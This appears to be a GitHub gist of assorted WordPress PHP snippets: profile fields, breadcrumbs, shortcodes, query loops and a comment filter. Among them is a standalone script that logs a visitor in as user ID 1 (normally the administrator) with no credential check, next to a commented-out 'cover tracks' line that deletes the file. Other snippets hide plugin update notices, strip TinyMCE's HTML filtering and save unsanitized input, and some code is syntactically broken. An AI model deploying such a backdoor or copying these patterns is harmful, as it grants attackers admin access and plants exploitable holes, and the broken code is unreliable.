Skip to content

Instantly share code, notes, and snippets.

@Nodws
Last active March 19, 2024 17:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Nodws/bde73268e4ff80054b54 to your computer and use it in GitHub Desktop.
Save Nodws/bde73268e4ff80054b54 to your computer and use it in GitHub Desktop.
Get meta
<?php
add_action( 'show_user_profile', 'my_show_extra_profile_fields' );
add_action( 'edit_user_profile', 'my_show_extra_profile_fields' );
add_action( 'user_new_form', 'my_show_extra_profile_fields' );
function my_show_extra_profile_fields( $user ) { ?>
<table class="form-table">
<tr>
<th><label for="twitter">Cumpleaños</label></th>
<td>
<input type="text" name="bday" id="bday" value="<?php echo esc_attr( get_the_author_meta( 'bday', $user->ID ) ); ?>" class="regular-text" /><br />
</td>
</tr>
</table>
<?php }
add_action( 'user_register', 'my_save_extra_profile_fields' );
add_action( 'personal_options_update', 'my_save_extra_profile_fields' );
add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' );
function my_save_extra_profile_fields( $user_id ) {
if ( !current_user_can( 'edit_user', $user_id ) )
return false;
update_usermeta( $user_id, 'bday', $_POST['bday'] );
}
?>
<?php
require('wp-blog-header.php');
require('wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
//cover tracks
//@unlink(__FILE__);
exit();
}
<?php
//FOR POST
$t = wp_get_post_terms(get_the_id(),'taxonomy');
$t[0] = ($t[0]->parent && !$t[1]->parent) ? $t[0] : $t[1];
if($t[0]->parent)
{ $p = get_term_by('id',$t[0]->parent,'taxonomy');
echo '<a href="'.get_term_link($t[0]->parent,'taxonomy').'">'.$p->name.'</a> &raquo; '; }
echo '<a href="'.get_term_link($t[0]->term_id,'taxonomy').'" class="crumb-current">'.$t[0]->name.'</a>';
//FOR ARCHIVE
$t = get_term_by('id',$wp_query->queried_object_id,'taxonomy');
if($t->parent)
{ $p = get_term_by('id',$t->parent,'taxonomy');
echo '<a href="'.get_term_link($t->parent,'taxonomy').'">'.$p->name.'</a> '; }
echo '<a href="'.get_term_link($t->term_id,'taxonomy').'" class="crumb-current">'.$t->name.'</a>';
<?
function add_country_codes() {
$tax = 'entidad';
$countries = explode(",","Aguascalientes,Baja California,Baja California Sur,Campeche,Chiapas,Chihuahua,Coahuila,Colima,CDMX,Durango,Estado de México,Guanajuato,Guerrero,Hidalgo,Jalisco,Michoacán,Morelos,Nayarit,Nuevo León,Oaxaca,Puebla,Querétaro,Quintana Roo,San Luis Potosí,Sinaloa,Sonora,Tabasco,Tamaulipas,Tlaxcala,Veracruz,Yucatán,Zacatecas");
foreach( $countries as $country ) {
if(! term_exists( $country,$tax) )
{ $args = array( 'slug' => strtolower( $country ) );
wp_insert_term( $country,$tax,$args );
}
}
}
// add after plugins register the tax
add_action( 'wp_loaded','add_country_codes',10 );
<?
add_action('preprocess_comment', function ($commentdata) {
$comment = $_POST['comment_content'];
if(isset($_POST['no_spam']) || strstr($comment,'http')) {
die('Not Allowed');
}
return $commentdata;
} );
<?php
if ( has_post_thumbnail() ) :
the_post_thumbnail('medium');
else:
$attachments = get_children(array('post_parent' => $post->ID, 'post_type' => 'attachment', 'post_mime_type' => 'image', 'orderby' => 'menu_order')); //you may need to change that $post variable
if (is_array($attachments) ){
$first_attachment = array_shift($attachments);
echo wp_get_attachment_image($first_attachment->ID,'medium');
}
else{
echo "<img src='noimage.png'>"; //no attachments, use placeholder
}
endif;
?>
<?php
// [insertar slug="contacto"]
function insertPage($atts) {
$output = NULL;
extract(shortcode_atts(array(
"slug" => ''
), $atts));
if (!empty($slug)) {
$page = get_page_by_path( $slug );
$output = apply_filters('the_content',$page->post_content);
}
return $output;
}
add_shortcode('insertar', 'insertPage');
<?
function shortcode_grid($atts) {
$atts = shortcode_atts( ['tipo' => 'portafolio','cat' => 'caso-de-exito'] , $atts );
$tax = $atts['tipo'];
$ter = $atts['cat'];
$arr = Array(
'post_type'=>'caso',
'posts_per_page'=>90,
'tax_query' => array(
array(
'taxonomy' => $tax,
'field' => 'slug',
'terms' => $ter,
),
),
);
$q= new WP_Query( $arr );
while ( $q->have_posts() ) : $q->the_post();
$m = get_post_meta( get_the_ID() );
ob_start();
?>
<div class='col-sm-3'>
<section>
<a href="<?php the_permalink(); ?>"><?php the_post_thumbnail(); ?></a>
<h3><a href="<?php the_permalink(); ?>"><?php the_title()?></a></h3>
<b> <?=$m['wpcf-subtitulo'][0]?> </b>
</section>
</div>
<?
$html = ob_get_contents();
ob_end_clean();
endwhile; wp_reset_postdata();
return $html;
}
add_shortcode('grid', 'shortcode_grid');
<?php
$br = 6; //Number or articles to display
$n=0; while ( have_posts() ) : the_post(); if($n==$br){break;} $n++;
?>
<?
function notas($i){
global $post;
$nota = 'blog-featured'; //main
if($i>1 && $i<6)
$nota = 'blog-cuad'; //secundary class
if($i>5)
$nota = 'blog-list'; //third tier
?><div class="blog-item <?=$nota?>">
<div class="full-cover"><a href="<?the_permalink()?>"><? the_post_thumbnail('full') ?></a></div>
<div class="blog-content">
<p class="blog-date"><?=get_the_date( ) ?></p>
<h2><a href="<?the_permalink()?>"><? the_title()?></a></h2>
<div class="blog-excerpt"><? the_excerpt();?></div>
</div>
</div>
<?
}
$args = [
'post_type' => 'post',
'category_name' => 'news'; // Or name the page 'news' and use $post->post_name
];
$wp_query = new WP_Query( $args ); //use temp var if you need the old query
$nota = 1;
if (have_posts()) : while ( have_posts() ) : the_post();
notas($nota++);
endwhile; endif;
add_filter('site_transient_update_plugins', 'remove_update_notification');
function remove_update_notification($value) {
unset($value->response[ plugin_basename(__FILE__) ]);
return $value;
}
<?php
add_filter('body_class', function($classes) {
global $current_user;
$user_roles = $current_user->roles;
$classes[] = !empty( $user_roles[0] ) ? 'role-'.$user_roles[0] : 'role-guest';
return $classes;
});
<?
add_action('init', 'my_setcookie');
function my_setcookie(){
if(!isset($_COOKIE['user'])){
$path = COOKIEPATH;
$host = COOKIE_DOMAIN;
$expiry = strtotime('+1 month');
setcookie('user', 'MXN', $expiry, $path, $host);
}
}
<?php
add_action('init', function(){
if($_SERVER['REQUEST_URI']=='/' && !is_user_logged_in())
{ wp_redirect('/soon.html', 301); exit;}
}, 11);
<?
/* bypass idiotic filter */
function override_mce_options($initArray) {
$opts = '*[*]';
$initArray['valid_elements'] = $opts;
$initArray['extended_valid_elements'] = $opts;
return $initArray;
}
add_filter('tiny_mce_before_init', 'override_mce_options');
<?php
$args = array(
'post_type' => 'movies',
'showposts' => 10
);
$wp_query = new WP_Query( $args );
while ( have_posts() ) : the_post();
$terms = current(get_the_terms( $post->ID, 'genre' ));
?>
<h3><?php the_title(); ?></h3>
Genre: <span href="genre/<?echo $terms->slug;?>"><?echo $terms->name;?></span>
<hr>
<?
endwhile; // end of the loop.
?>
<?
$arr = Array(
'post_type'=>'post',
'posts_per_page'=>9,
'cat'=>107
);
$q= new WP_Query( $arr );
while ( $q->have_posts() ) : $q->the_post();
$meta = get_post_meta( get_the_ID() );
$tel = $meta['wpcf-telefono'][0];
the_content();
endwhile; wp_reset_postdata();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment